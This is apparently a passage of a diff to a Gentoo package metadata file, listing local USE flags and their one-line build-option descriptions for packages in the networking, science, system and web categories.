+<flag name="sendmail"><![CDATA[Build with delivery options for sendmail]]></flag>
+<flag name="xmail"><![CDATA[Build with delivery options for xmail]]></flag>
+</package>
+<package name="poppassd_ceti">
+<flag name="cracklib"><![CDATA[Support for cracklib strong password checking]]></flag>
+</package>
+<package name="qpopper">
+<flag name="mailbox"><![CDATA[Enables mail spool file is in home directory ~/Mailbox]]></flag>
+<flag name="xinetd"><![CDATA[If you want inetd version instead of standalone]]></flag>
+</package>
+<package name="teapop">
+<flag name="virtual"><![CDATA[Enable teapop's virtual domain support.]]></flag>
+</package>
+<package name="uw-imap">
+<flag name="clearpasswd"><![CDATA[Enables cleartext logins outside of SSL sessions]]></flag>
+</package>
+<package name="vimap">
+<flag name="clearpasswd"><![CDATA[Enables cleartext logins outside of SSL sessions]]></flag>
+</package>
+<package name="vpopmail">
+<flag name="clearpasswd"><![CDATA[Enables cleartext password storage in the vpasswd files]]></flag>
+<flag name="ipalias"><![CDATA[Enables enable-ip-alias-domains]]></flag>
+</package>
+</category>
+<category name="net-misc">
+<package name="asterisk-addons">
+<flag name="h323"><![CDATA[Build the chan_ooh323c H.323 channel driver]]></flag>
+</package>
+<package name="asterisk-chan_capi">
+<flag name="fax"><![CDATA[Build chan_capi with fax support]]></flag>
+</package>
+<package name="asterisk">
+<flag name="bri"><![CDATA[Enable ISDN BRI support (bristuff)]]></flag>
+<flag name="h323"><![CDATA[Build the H.323 channel driver bundled with Asterisk]]></flag>
+<flag name="lowmem"><![CDATA[Build Asterisk for environments with low amounts of memory (embedded devices)]]></flag>
+<flag name="nopri"><![CDATA[Disable pri support]]></flag>
+<flag name="nosamples"><![CDATA[Don't install sample sound and configuration files]]></flag>
+<flag name="nozaptel"><![CDATA[Disable zaptel support]]></flag>
+<flag name="osp"><![CDATA[Enable support for the Open Settlement Protocol]]></flag>
+<flag name="pri"><![CDATA[Enables pri support (>=asterisk-1.0.1)]]></flag>
+<flag name="resperl"><![CDATA[Enables support for embedded perl in extensions.conf]]></flag>
+<flag name="vmdbmysql"><![CDATA[Enable mysql db support in voicemail application]]></flag>
+<flag name="vmdbpostgres"><![CDATA[Enable postgres db support in voicemail application]]></flag>
+<flag name="zaptel"><![CDATA[Enables zaptel support (>=asterisk-1.0.1)]]></flag>
+</package>
+<package name="bridge-utils">
+<flag name="sysfs"><![CDATA[Enable use of the sysfs filesystem (Linux-2.6+) via libsysfs]]></flag>
+</package>
+<package name="curl">
+<flag name="ares"><![CDATA[Enabled c-ares dns support]]></flag>
+</package>
+<package name="drivel">
+<flag name="rhythmbox"><![CDATA[Enables support for currently playing song in rhythmbox]]></flag>
+</package>
+<package name="dropbear">
+<flag name="multicall"><![CDATA[Build all the programs as one little binary (to save space)]]></flag>
+</package>
+<package name="gnugk">
+<flag name="accounting"><![CDATA[Enables call logging (accounting)]]></flag>
+</package>
+<package name="gwget">
+<flag name="epiphany"><![CDATA[Build epiphany extensions]]></flag>
+</package>
+<package name="hylafax">
+<flag name="faxonly"><![CDATA[Don't depend on mgetty-fax]]></flag>
+<flag name="mgetty"><![CDATA[Adds support for mgetty and vgetty]]></flag>
+</package>
+<package name="icecast">
+<flag name="yp"><![CDATA[Build support for yp public directory listings]]></flag>
+</package>
+<package name="linux-identd">
+<flag name="xinetd"><![CDATA[Use xinetd instead of the initscript]]></flag>
+</package>
+<package name="ltsp">
+<flag name="floppyd"><![CDATA[Enable local floppy access on LTSP terminals via mtools]]></flag>
+</package>
+<package name="ntp">
+<flag name="nodroproot"><![CDATA[Disable support for running ntpd as a non-root user]]></flag>
+<flag name="openntpd"><![CDATA[Allow ntp to be installed alongside openntpd]]></flag>
+<flag name="parse-clocks"><![CDATA[Add support for PARSE clocks]]></flag>
+</package>
+<package name="nxserver-freenx">
+<flag name="commercial"><![CDATA[Add support for the commerial nxclient]]></flag>
+</package>
+<package name="openssh">
+<flag name="X509"><![CDATA[Adds support for X.509 certificate authentication]]></flag>
+<flag name="chroot"><![CDATA[Enable chrooting support]]></flag>
+<flag name="hpn"><![CDATA[Enable high performance ssh]]></flag>
+<flag name="sftplogging"><![CDATA[Enables sftplogging patch]]></flag>
+</package>
+<package name="openvpn">
+<flag name="iproute2"><![CDATA[Enabled iproute2 support instead of net-tools]]></flag>
+<flag name="passwordsave"><![CDATA[Enables openvpn to save passwords]]></flag>
+</package>
+<package name="partysip">
+<flag name="syslog"><![CDATA[Enable syslog support]]></flag>
+</package>
+<package name="pxes">
+<flag name="ltsp"><![CDATA[Enable support for Linux Terminal Server Project]]></flag>
+</package>
+<package name="quagga">
+<flag name="bgpclassless"><![CDATA[Enable classless prefixes for BGP ]]></flag>
+<flag name="fix-connected-rt"><![CDATA[Remove interface connected routes from kernel table on link loss so that no packets get routed to downed interface]]></flag>
+<flag name="ospfapi"><![CDATA[Enable OSPFAPI support for client applications accessing the OSPF link state database]]></flag>
+<flag name="realms"><![CDATA[Enable realms support (see http://vcalinus.gemenii.ro/quaggarealms.html)]]></flag>
+<flag name="tcpmd5"><![CDATA[Enable TCP MD5 checksumming]]></flag>
+</package>
+<package name="sitecopy">
+<flag name="gssapi"><![CDATA[Enables GSSAPI (Generic Security Services Application Programming Interface).  This is a client-server authentication method that promotes a standard API for authentication systems.  This is included in kerbos distributions and allows vendors to define a specific system with a more generic API layer to coordinate with other authentication systems.]]></flag>
+<flag name="rsh"><![CDATA[This allows the use of rsh (remote shell) and rcp (remote copy) for authoring websites.  sftp is a much more secure protocol and is prefered.]]></flag>
+<flag name="sftp"><![CDATA[Enables use of sftp for secure ftp transfers.]]></flag>
+<flag name="webdav"><![CDATA[Enable WebDav (Web-based Distributed Authoring and Versioning) support.  This system allows users to collaborate on websites using a web based interface.  See the ebuild for an FAQ page.  Enables neon as well to handle webdav support.]]></flag>
+</package>
+<package name="ssh">
+<flag name="openssh"><![CDATA[Allow ssh and openssh to be installed side by side]]></flag>
+</package>
+<package name="tightvnc">
+<flag name="server"><![CDATA[Build vncserver. Allows us to only build server on one machine if set, build only viewer otherwise.]]></flag>
+</package>
+<package name="vnc">
+<flag name="server"><![CDATA[Build VNC client]]></flag>
+</package>
+<package name="wanpipe">
+<flag name="adsl"><![CDATA[Build with adsl support]]></flag>
+</package>
+<package name="yate">
+<flag name="fax"><![CDATA[Build fax plugin]]></flag>
+<flag name="gsm"><![CDATA[Build gsm codec plugin]]></flag>
+<flag name="h323"><![CDATA[Build H.323 Channel plugin]]></flag>
+<flag name="ilbc"><![CDATA[Build ILBC codec plugin]]></flag>
+<flag name="ortp"><![CDATA[Build oRTP Channel plugin]]></flag>
+<flag name="zaptel"><![CDATA[Build zaptel Channel plugin]]></flag>
+</package>
+<package name="zaptel">
+<flag name="bri"><![CDATA[Enable ISDN BRI support (bristuff)]]></flag>
+<flag name="devfs26"><![CDATA[Devfs support for Linux-2.6]]></flag>
+<flag name="ecaggressive"><![CDATA[Make the mark2 echo canceller a little more aggressive]]></flag>
+<flag name="ecmark"><![CDATA[Use the MARK echo canceller]]></flag>
+<flag name="ecmark2"><![CDATA[Use the MARK2 echo canceller (default)]]></flag>
+<flag name="ecmark3"><![CDATA[Use the MARK3 echo canceller]]></flag>
+<flag name="ecsteve"><![CDATA[Use the STEVE echo canceller]]></flag>
+<flag name="ecsteve2"><![CDATA[Use the STEVE2 echo canceller]]></flag>
+<flag name="florz"><![CDATA[Enable florz enhancement patches for ISDN BRI]]></flag>
+<flag name="rtc"><![CDATA[Use the realtime clock on x86 and amd64 systems instead of kernel timers]]></flag>
+<flag name="watchdog"><![CDATA[Enable the watchdog to monitor unresponsive and misbehaving interfaces]]></flag>
+<flag name="zapnet"><![CDATA[Enable SyncPPP, CiscoHDLC and Frame-Relay support]]></flag>
+<flag name="zapras"><![CDATA[Enable PPP support for Remote-Access-Service]]></flag>
+</package>
+</category>
+<category name="net-news">
+<package name="liferea">
+<flag name="firefox"><![CDATA[Build against Firefox instead of Mozilla ]]></flag>
+</package>
+</category>
+<category name="net-nntp">
+<package name="inn">
+<flag name="innkeywords"><![CDATA[Enable automatic keyword generation support]]></flag>
+<flag name="inntaggedhash"><![CDATA[Use tagged hash table for history (disables large file support)]]></flag>
+</package>
+<package name="slrn">
+<flag name="uudeview"><![CDATA[Add support for yEnc coding and more using dev-libs/uulib]]></flag>
+</package>
+</category>
+<category name="net-p2p">
+<package name="amule">
+<flag name="amuled"><![CDATA[enable amule daemon]]></flag>
+<flag name="remote"><![CDATA[enable remote controlling of the client]]></flag>
+<flag name="stats"><![CDATA[enable statistic reporting]]></flag>
+</package>
+<package name="ed2k_hash">
+<flag name="fltk"><![CDATA[Adds support for fltk GUI]]></flag>
+</package>
+<package name="mldonkey">
+<flag name="batch"><![CDATA[enable internaly ocaml build]]></flag>
+<flag name="guionly"><![CDATA[enable client build only]]></flag>
+<flag name="oldgtk"><![CDATA[enable old gtk user interface]]></flag>
+</package>
+</category>
+<category name="net-print">
+<package name="omni">
+<flag name="epson"><![CDATA[include the epson drivers]]></flag>
+</package>
+</category>
+<category name="net-proxy">
+<package name="squid">
+<flag name="customlog"><![CDATA[Adds support for custom log file formats]]></flag>
+<flag name="follow-xff"><![CDATA[Adds follow X-Forwarded-For patch (http://squid.sourceforge.net/follow_xff/)]]></flag>
+<flag name="logrotate"><![CDATA[Use logrotate for rotating logs]]></flag>
+<flag name="underscores"><![CDATA[Enables support for domain names containing underscores]]></flag>
+<flag name="zero-penalty-hit"><![CDATA[Adds Zero Penalty Hit patch (http://www.it-academy.bg/zph/)]]></flag>
+</package>
+<package name="tinyproxy">
+<flag name="transparent-proxy"><![CDATA[Enables support for transparent proxies]]></flag>
+</package>
+<package name="ziproxy">
+<flag name="jpeg2k"><![CDATA[Enable support for jpeg2k (jasper)]]></flag>
+</package>
+</category>
+<category name="net-wireless">
+<package name="hostapd">
+<flag name="logwatch"><![CDATA[Install support files for logwatch]]></flag>
+<flag name="madwifi"><![CDATA[Add support for madwifi-driver (Atheros chipset)]]></flag>
+</package>
+<package name="ipw2200">
+<flag name="radiotap"><![CDATA[Use radiotap headers in monitor mode]]></flag>
+</package>
+<package name="kdebluetooth">
+<flag name="irmc"><![CDATA[Enable the kitchensync(Multisynk)'s IrMCSync konnector]]></flag>
+</package>
+<package name="linux-wlan-ng-modules">
+<flag name="pci"><![CDATA[Enable the Prism2.5 native PCI (_pci) driver]]></flag>
+<flag name="plx"><![CDATA[Enable the Prism2 PLX9052 based PCI (_plx) adapter driver]]></flag>
+</package>
+<package name="wepattack">
+<flag name="john"><![CDATA[Build with johntheripper support]]></flag>
+</package>
+<package name="wireless-tools">
+<flag name="multicall"><![CDATA[Build the most commonly used tools as one binary]]></flag>
+</package>
+<package name="wpa_supplicant">
+<flag name="gsm"><![CDATA[Add support for EAP-SIM authentication algorithm]]></flag>
+<flag name="madwifi"><![CDATA[Add support for madwifi-driver (Atheros chipset)]]></flag>
+</package>
+</category>
+<category name="net-www">
+<package name="apache">
+<flag name="lingerd"><![CDATA[Enable support for lingerd]]></flag>
+<flag name="mpm-leader"><![CDATA[(experimental) Leader MPM - leaders/followers varient of worker MPM]]></flag>
+<flag name="mpm-peruser"><![CDATA[(experimental) Peruser MPM - child processes have seperate user/group ids]]></flag>
+<flag name="mpm-prefork"><![CDATA[Prefork MPM - non-threaded, forking MPM - similiar manner to Apache 1.3]]></flag>
+<flag name="mpm-threadpool"><![CDATA[(experimental) Threadpool MPM - keeps pool of idle threads to handle requests]]></flag>
+<flag name="mpm-worker"><![CDATA[Worker MPM - hybrid multi-process multi-thread MPM]]></flag>
+<flag name="no-suexec"><![CDATA[Don't install suexec with apache]]></flag>
+<flag name="static-modules"><![CDATA[Build modules into apache instead of having them load at run time]]></flag>
+</package>
+<package name="gentoo-webroot-default">
+<flag name="no-htdocs"><![CDATA[Don't install anything in the default webroot (/var/www/localhost)]]></flag>
+</package>
+<package name="mod_auth_ldap">
+<flag name="disk-cache"><![CDATA[Enables support for disk cache.]]></flag>
+<flag name="mem-cache"><![CDATA[Enables support for memory cache.]]></flag>
+</package>
+<package name="mod_ftpd">
+<flag name="dbi"><![CDATA[Enables support for libDBI]]></flag>
+</package>
+<package name="mod_log_sql">
+<flag name="dbi"><![CDATA[Enables support for libDBI]]></flag>
+</package>
+<package name="mplayerplug-in">
+<flag name="gecko-sdk"><![CDATA[Forces use of Gecko-SDK instead of firefox/mozilla]]></flag>
+</package>
+</category>
+<category name="sci-astronomy">
+<package name="orsa">
+<flag name="cln"><![CDATA[Use the Class Library for Numbers for calculations]]></flag>
+<flag name="gsl"><![CDATA[Use the GNU scientific library for calculations]]></flag>
+</package>
+<package name="predict">
+<flag name="xforms"><![CDATA[Adds a "map" client which uses the xforms library for its GUI]]></flag>
+</package>
+<package name="setiathome">
+<flag name="server"><![CDATA[Enable compilation of server]]></flag>
+</package>
+</category>
+<category name="sci-biology">
+<package name="hmmer">
+<flag name="pvm"><![CDATA[Adds support for parallel virtual machine.]]></flag>
+</package>
+<package name="vienna-rna">
+<flag name="no-readseq"><![CDATA[Do not include the modified version of Don Gilbert's readseq program.]]></flag>
+<flag name="no-utils"><![CDATA[Do not include sequence format conversion and representation utilities.]]></flag>
+</package>
+</category>
+<category name="sci-chemistry">
+<package name="ghemical">
+<flag name="mpqc"><![CDATA[Use the MPQC package for quantum-mechanical calculations]]></flag>
+</package>
+<package name="libghemical">
+<flag name="mopac7"><![CDATA[Use the MOPAC7 package for semi-empirical calculations]]></flag>
+<flag name="mpqc"><![CDATA[Use the MPQC package for quantum-mechanical calculations]]></flag>
+<flag name="openbabel"><![CDATA[Use the OpenBabel package for file conversions]]></flag>
+</package>
+</category>
+<category name="sci-geosciences">
+<package name="gmt">
+<flag name="gmtfull"><![CDATA[Full resolution bathymetry database]]></flag>
+<flag name="gmthigh"><![CDATA[Adds high resolution bathymetry database]]></flag>
+<flag name="gmtsuppl"><![CDATA[Supplement functions for GMT]]></flag>
+<flag name="gmttria"><![CDATA[Non GNU triangulation method, more efficient]]></flag>
+</package>
+<package name="grass">
+<flag name="gdal"><![CDATA[Enables gdal support (Grass 6 only)]]></flag>
+</package>
+</category>
+<category name="sci-libs">
+<package name="acml">
+<flag name="sse2"><![CDATA[Enables sse2 support]]></flag>
+</package>
+<package name="fftw">
+<flag name="sse2"><![CDATA[Enables sse2 support]]></flag>
+</package>
+<package name="gdal">
+<flag name="fits"><![CDATA[Enables support for NASA's cfitsio library]]></flag>
+<flag name="geos"><![CDATA[Adds support for geometry engine]]></flag>
+<flag name="gml"><![CDATA[Enables support for xerces-c API]]></flag>
+<flag name="grass"><![CDATA[Adds support for the grasslib GIS library]]></flag>
+<flag name="hdf"><![CDATA[Adds support for the Hierarchical Data Format]]></flag>
+<flag name="hdf5"><![CDATA[Adds support for the Hierarchical Data Format v 5]]></flag>
+<flag name="jasper"><![CDATA[Adds support for JPEG 2000]]></flag>
+<flag name="ogdi"><![CDATA[Enables support for the open geographic datastore interface]]></flag>
+</package>
+<package name="hdf5">
+<flag name="hlapi"><![CDATA[Enables support for high-level library]]></flag>
+</package>
+<package name="plplot">
+<flag name="itcl"><![CDATA[Support for itcl bindings.]]></flag>
+<flag name="octave"><![CDATA[Support for Octave bindings.]]></flag>
+</package>
+<package name="vtk">
+<flag name="patented"><![CDATA[Builds patented classes.]]></flag>
+</package>
+</category>
+<category name="sci-mathematics">
+<package name="coq">
+<flag name="ide"><![CDATA[Build the Coq IDE, a clone of proof general using lablgtk2.]]></flag>
+<flag name="norealanalysis"><![CDATA[Do not build real analysis modules (faster compilation).]]></flag>
+<flag name="translator"><![CDATA[Install the translator script from coq-7.4 to coq-8.0, and its documentation if doc is set too.]]></flag>
+</package>
+<package name="drgeo">
+<flag name="no-helpbrowser"><![CDATA[Do not install the default help browser]]></flag>
+</package>
+<package name="maxima">
+<flag name="auctex"><![CDATA[enable auctex in maxima]]></flag>
+<flag name="clisp"><![CDATA[adds clisp support to maxima]]></flag>
+<flag name="cmucl"><![CDATA[adds cmucl (lisp) support to maxima]]></flag>
+<flag name="gcl"><![CDATA[adds gcl (lisp) support to maxima]]></flag>
+<flag name="sbcl"><![CDATA[adds sbcl (lisp) support to maxima]]></flag>
+</package>
+<package name="mupad">
+<flag name="mupad-noscilab"><![CDATA[Disable scilab that comes with MuPAD package. Use system-wide instead.]]></flag>
+</package>
+<package name="octave-forge">
+<flag name="qhull"><![CDATA[Adds media-libs/qhull (geometric extensions) support]]></flag>
+</package>
+<package name="octave">
+<flag name="hdf5"><![CDATA[Adds support for the Hierarchical Data Format v5 to sci-mathematics/octave (may be merged with hdf when opendx is completed)]]></flag>
+</package>
+<package name="scilab">
+<flag name="atlas"><![CDATA[Add support for the atlas library]]></flag>
+</package>
+</category>
+<category name="sci-misc">
+<package name="boinc">
+<flag name="server"><![CDATA[Enable compilation of server]]></flag>
+</package>
+<package name="h5utils">
+<flag name="octave"><![CDATA[Build Octave plugins]]></flag>
+</package>
+</category>
+<category name="sys-apps">
+<package name="baselayout-vserver">
+<flag name="fakelog"><![CDATA[install a fake logger init script]]></flag>
+</package>
+<package name="busybox">
+<flag name="floppyboot"><![CDATA[builds a busybox binary for use on floppy drives.]]></flag>
+<flag name="make-symlinks"><![CDATA[Create all the appropriate symlinks in /bin and /sbin]]></flag>
+<flag name="savedconfig"><![CDATA[Adds support to user defined configs]]></flag>
+</package>
+<package name="hal">
+<flag name="pam_console"><![CDATA[Adds support for pam_console from PAM]]></flag>
+</package>
+<package name="iproute2">
+<flag name="atm"><![CDATA[Add support for ATM qdisc manager]]></flag>
+</package>
+<package name="lm_sensors">
+<flag name="rrdtool"><![CDATA[Builds sensord (Needs RRDTool).]]></flag>
+<flag name="sensord"><![CDATA[Enable sensord]]></flag>
+</package>
+<package name="memtest86+">
+<flag name="serial"><![CDATA[Compile with serial console support]]></flag>
+</package>
+<package name="memtest86">
+<flag name="serial"><![CDATA[Compile with serial console support]]></flag>
+</package>
+<package name="module-init-tools">
+<flag name="no-old-linux"><![CDATA[Don't support modules for Linux 2.4 and older]]></flag>
+</package>
+<package name="pcmcia-cs-modules">
+<flag name="cardbus"><![CDATA[Enable 32bit CardBus support]]></flag>
+</package>
+<package name="pcmcia-cs">
+<flag name="nocardbus"><![CDATA[Disable 32bit CardBus support]]></flag>
+<flag name="pnp"><![CDATA[Add support for PNP (Plug-N-Play)]]></flag>
+<flag name="trusted"><![CDATA[Assume all users are trusted (Build unsafe user-space tools)]]></flag>
+<flag name="xforms"><![CDATA[Enable building the xforms based cardinfo binary]]></flag>
+</package>
+<package name="pcmciautils">
+<flag name="cis"><![CDATA[Include CIS override files]]></flag>
+<flag name="staticsocket"><![CDATA[Add support for static sockets]]></flag>
+<flag name="udev"><![CDATA[Install as an udev helper instead of a hotplug helper]]></flag>
+</package>
+<package name="shadow">
+<flag name="nousuid"><![CDATA[When nousuid is enabled only su from the shadow package will be installed with the setuid bit (mainly for single user systems)]]></flag>
+</package>
+<package name="suspend2-userui">
+<flag name="fbsplash"><![CDATA[Add support for framebuffer splash]]></flag>
+</package>
+<package name="sysvinit">
+<flag name="ibm"><![CDATA[adds support for hvc consoles]]></flag>
+</package>
+<package name="tcng">
+<flag name="tcsim"><![CDATA[enable traffic simulator]]></flag>
+</package>
+<package name="tinylogin">
+<flag name="make-symlinks"><![CDATA[Create all the appropriate symlinks in /bin and /sbin]]></flag>
+</package>
+<package name="util-linux">
+<flag name="old-crypt"><![CDATA[build support for the older cryptoapi that earlier util-linux's included]]></flag>
+</package>
+</category>
+<category name="sys-block">
+<package name="gparted">
+<flag name="fat"><![CDATA[Include FAT16/FAT32 support]]></flag>
+<flag name="hfs"><![CDATA[Include HFS support]]></flag>
+<flag name="jfs"><![CDATA[Include JFS support]]></flag>
+<flag name="ntfs"><![CDATA[Include NTFS support]]></flag>
+<flag name="reiserfs"><![CDATA[Include ReiserFS support]]></flag>
+<flag name="xfs"><![CDATA[Include XFS support]]></flag>
+</package>
+<package name="partimage">
+<flag name="nologin"><![CDATA[Do not include login support]]></flag>
+</package>
+</category>
+<category name="sys-boot">
+<package name="arcboot">
+<flag name="cobalt"><![CDATA[Disables support for Cobalt Microserver hardware (Qube2/RaQ2)]]></flag>
+<flag name="ip27"><![CDATA[Disables support for SGI Origin (IP27)]]></flag>
+<flag name="ip28"><![CDATA[Disables support for SGI Indigo2 Impact R10000 (IP28)]]></flag>
+<flag name="ip30"><![CDATA[Disables support for SGI Octane (IP30)]]></flag>
+</package>
+<package name="grub">
+<flag name="custom-cflags"><![CDATA[Enables custom cflags]]></flag>
+</package>
+<package name="lilo">
+<flag name="devmap"><![CDATA[Compile with support for device-mapper]]></flag>
+<flag name="pxeserial"><![CDATA[Avoid character echo on PXE serial console]]></flag>
+</package>
+<package name="yaboot-static">
+<flag name="ibm"><![CDATA[Indicate the usage of ibm based ppc64 hardware]]></flag>
+</package>
+<package name="yaboot">
+<flag name="ibm"><![CDATA[Indicate the usage of ibm based ppc64 hardware]]></flag>
+</package>
+</category>
+<category name="sys-cluster">
+<package name="charm">
+<flag name="cmkopt"><![CDATA[Enable CMK optimisation]]></flag>
+<flag name="smp"><![CDATA[Enable direct SMP support using shared memory]]></flag>
+<flag name="tcp"><![CDATA[Use TCP (instead of UPD) for socket communication]]></flag>
+</package>
+<package name="heartbeat">
+<flag name="ldirectord"><![CDATA[Adds support for ldiretord, use enabled because it has a lot of deps]]></flag>
+<flag name="stonith"><![CDATA[Adds support for stonith devices]]></flag>
+<flag name="pils"><![CDATA[Adds support for a generalized plugin and interface loading system]]></flag>
+</package>
+<package name="lam-mpi">
+<flag name="pbs"><![CDATA[Add support for PBS scheduling stuff]]></flag>
+</package>
+<package name="magma-plugins">
+<flag name="nogulm"><![CDATA[Removes gulm support to magma-plugins]]></flag>
+</package>
+<package name="ocfs">
+<flag name="aio"><![CDATA[Add aio support]]></flag>
+</package>
+<package name="torque">
+<flag name="scp"><![CDATA[Use SCP instead of RCP for copying files between machines.]]></flag>
+</package>
+<package name="util-vserver">
+<flag name="glibc"><![CDATA[Don't use dietlibc]]></flag>
+</package>
+</category>
+<category name="sys-devel">
+<package name="binutils">
+<flag name="multislot"><![CDATA[Allow for multiple versions of binutils to be emerged at once for same CTARGET]]></flag>
+<flag name="multitarget"><![CDATA[Adds support to binutils for cross compiling (does not work with gas)]]></flag>
+</package>
+<package name="distcc">
+<flag name="crosscompile"><![CDATA[Change distcc-config to create shell script not links for proper invokation on cross compile setups]]></flag>
+</package>
+<package name="gcc-mips64">
+<flag name="ip28"><![CDATA[Enable building a compiler capable of building a kernel for SGI Indigo2 Impact R10000 (IP28)]]></flag>
+</package>
+<package name="gcc">
+<flag name="ip28"><![CDATA[Enable building a compiler capable of building a kernel for SGI Indigo2 Impact R10000 (IP28)]]></flag>
+<flag name="multislot"><![CDATA[Allow for SLOTs to include minor version (3.3.4 instead of just 3.3)]]></flag>
+<flag name="n32"><![CDATA[Enable n32 ABI support on mips]]></flag>
+<flag name="n64"><![CDATA[Enable n64 ABI support on mips]]></flag>
+<flag name="nopie"><![CDATA[Disable PIE support (NOT FOR GENERAL USE)]]></flag>
+<flag name="nossp"><![CDATA[Disable SSP support (NOT FOR GENERAL USE)]]></flag>
+<flag name="objc"><![CDATA[Build support for the Objective C code language]]></flag>
+<flag name="objc-gc"><![CDATA[Build support for the Objective C code language Garbage Collector]]></flag>
+</package>
+<package name="libperl">
+<flag name="ithreads"><![CDATA[Enable Perl threads, has some compatibility problems]]></flag>
+</package>
+</category>
+<category name="sys-fs">
+<package name="clvm">
+<flag name="nocman"><![CDATA[Allow users to build clvm without cman support and with gulm support]]></flag>
+</package>
+<package name="loop-aes">
+<flag name="keyscrub"><![CDATA[Protects the encryption key in memory but takes more cpu resources]]></flag>
+</package>
+<package name="lvm2">
+<flag name="nolvmstatic"><![CDATA[Allow users to build lvm2 dynamically]]></flag>
+</package>
+<package name="ntfsprogs">
+<flag name="fuse"><![CDATA[Build a FUSE module]]></flag>
+</package>
+<package name="quota">
+<flag name="rpc"><![CDATA[Enable quota interaction via RPC]]></flag>
+</package>
+</category>
+<category name="sys-kernel">
+<package name="ck-sources">
+<flag name="ck-plus"><![CDATA[Add some experimental ck patches]]></flag>
+<flag name="ck-server"><![CDATA[Tune the kernel for servers]]></flag>
+</package>
+<package name="genkernel">
+<flag name="bootsplash"><![CDATA[Installs bootsplash support if you request it and it is not already available.]]></flag>
+<flag name="ibm"><![CDATA[Install IBM pSeries config as default instead of G5 config.]]></flag>
+</package>
+<package name="gentoo-sources">
+<flag name="ultra1"><![CDATA[If you have a SUN Ultra 1 with a HME interface]]></flag>
+</package>
+<package name="mips-headers">
+<flag name="cobalt"><![CDATA[Enables support for Cobalt Microserver hardware (Qube2/RaQ2)]]></flag>
+<flag name="ip30"><![CDATA[Enables support for SGI Octane (IP30, 'Speedracer')]]></flag>
+</package>
+<package name="mips-sources">
+<flag name="cobalt"><![CDATA[Enables support for Cobalt Microserver hardware (Qube2/RaQ2)]]></flag>
+<flag name="ip27"><![CDATA[Enables support for SGI Origin (IP27)]]></flag>
+<flag name="ip28"><![CDATA[Enables support for SGI Indigo2 Impact R10000 (IP28)]]></flag>
+<flag name="ip30"><![CDATA[Enables support for SGI Octane (IP30, 'Speedracer')]]></flag>
+</package>
+<package name="sparc-sources">
+<flag name="ultra1"><![CDATA[If you have a SUN Ultra 1 with a HME interface]]></flag>
+</package>
+<package name="suspend2-sources">
+<flag name="ultra1"><![CDATA[If you have a SUN Ultra 1 with a HME interface]]></flag>
+</package>
+<package name="vserver-sources">
+<flag name="ngnet"><![CDATA[Adds experimental NGNET patches by Herbert Poetzl (http://vserver.13thfloor.at/Experimental/NGNET/)]]></flag>
+</package>
+</category>
+<category name="sys-libs">
+<package name="glibc">
+<flag name="erandom"><![CDATA[Enable erandom/frandom support in glibc for ssp]]></flag>
+<flag name="glibc-compat20"><![CDATA[Enable the glibc-compat addon.]]></flag>
+<flag name="glibc-omitfp"><![CDATA[Configure glibc with --enable-omitfp which lets the build system determine when it is safe to use -fomit-frame-pointer]]></flag>
+<flag name="linuxthreads-tls"><![CDATA[Configure the linuxthreads glibc with --with-__thread if supported by your system.  --with-tls is always enabled if supported and is NOT controlled by this switch.  So the glibc built will always support TLS binaries.  This toggle chooses whether or not glibc itself uses TLS.  If you're concerned about backwards compatibility with old binaries, leave this off.]]></flag>
+<flag name="n32"><![CDATA[Enable n32 ABI support on mips]]></flag>
+<flag name="n64"><![CDATA[Enable n64 ABI support on mips]]></flag>
+<flag name="nomalloccheck"><![CDATA[default to not performing some sanity checks that prevent and detect data corruption. this removes the small overhead introduced by the check.]]></flag>
+<flag name="nptlonly"><![CDATA[Disables building the linuxthreads fallback in glibc ebuilds that support building both linuxthreads and nptl.]]></flag>
+<flag name="userlocales"><![CDATA[build only the locales specified in /etc/locales.build]]></flag>
+</package>
+<package name="libvserver">
+<flag name="alt-syscall"><![CDATA[Enables alternative syscall implementation]]></flag>
+</package>
+<package name="pam">
+<flag name="pam_chroot"><![CDATA[Builds the pam_chroot module (enables per-user chroots at login)]]></flag>
+<flag name="pam_console"><![CDATA[Builds the pam_console module (enables per-user device permissions for console user)]]></flag>
+<flag name="pam_timestamp"><![CDATA[Builds the pam_timestamp module (enables recent successful attempt authentication)]]></flag>
+<flag name="pwdb"><![CDATA[If you want pam_pwdb.so installed to use pwdb as passwd db]]></flag>
+</package>
+<package name="uclibc">
+<flag name="pregen"><![CDATA[Use pregenerated locales]]></flag>
+<flag name="uclibc-compat"><![CDATA[build uclibc with backwards compatible options]]></flag>
+<flag name="userlocales"><![CDATA[build only the locales specified in /etc/locales.build]]></flag>
+<flag name="wordexp"><![CDATA[add support for word expansion (wordexp.h)]]></flag>
+</package>
+</category>
+<category name="sys-power">
+<package name="acpid">
+<flag name="logrotate"><![CDATA[Use logrotate for rotating logs]]></flag>
+</package>
+<package name="apcupsd">
+<flag name="cgi"><![CDATA[Add CGI script support]]></flag>
+</package>
+<package name="cpufreqd">
+<flag name="nforce2"><![CDATA[Enable for nforce2 voltage settings plug-in]]></flag>
+<flag name="nvidia"><![CDATA[Enable nvidia overclocking (nvclock) plug-in]]></flag>
+<flag name="pmu"><![CDATA[Enable Power Management Unit plug-in]]></flag>
+</package>
+<package name="hibernate-script">
+<flag name="logrotate"><![CDATA[Use logrotate for rotating logs]]></flag>
+</package>
+</category>
+<category name="sys-process">
+<package name="daemontools-scripts">
+<flag name="withsamplescripts"><![CDATA[Installs sample supervise scripts]]></flag>
+</package>
+<package name="procps">
+<flag name="n32"><![CDATA[Enable n32 ABI support on mips]]></flag>
+</package>
+</category>
+<category name="www-apache">
+<package name="Embperl">
+<flag name="modperl"><![CDATA[Enable modperl support]]></flag>
+</package>
+<package name="mod_suphp">
+<flag name="checkpath"><![CDATA[Check if script resides in DOCUMENT_ROOT]]></flag>
+<flag name="mode-force"><![CDATA[Run scripts with UID/GID specified in Apache configuration]]></flag>
+<flag name="mode-owner"><![CDATA[Run scripts with owner UID/GID]]></flag>
+<flag name="mode-paranoid"><![CDATA[Run scripts with owner UID/GID but also check if they match the UID/GID specified in the Apache configuration]]></flag>
+</package>
+</category>
+<category name="www-apps">
+<package name="bugzilla">
+<flag name="graphviz"><![CDATA[enable graphviz support]]></flag>
+</package>
+<package name="dspam-web">
+<flag name="cyrus"><![CDATA[Build delivery options for cyrus-imapd]]></flag>
+<flag name="exim"><![CDATA[Build with delivery options for exim]]></flag>
+<flag name="large-domain"><![CDATA[Builds for large domain rather than for domain scale]]></flag>
+<flag name="maildrop"><![CDATA[Build with delivery options for maildrop]]></flag>
+<flag name="neural"><![CDATA[Build neural support for dspam]]></flag>
+<flag name="procmail"><![CDATA[Build procmail filter support]]></flag>
+<flag name="sqlite3"><![CDATA[Build sqlite 3 support]]></flag>
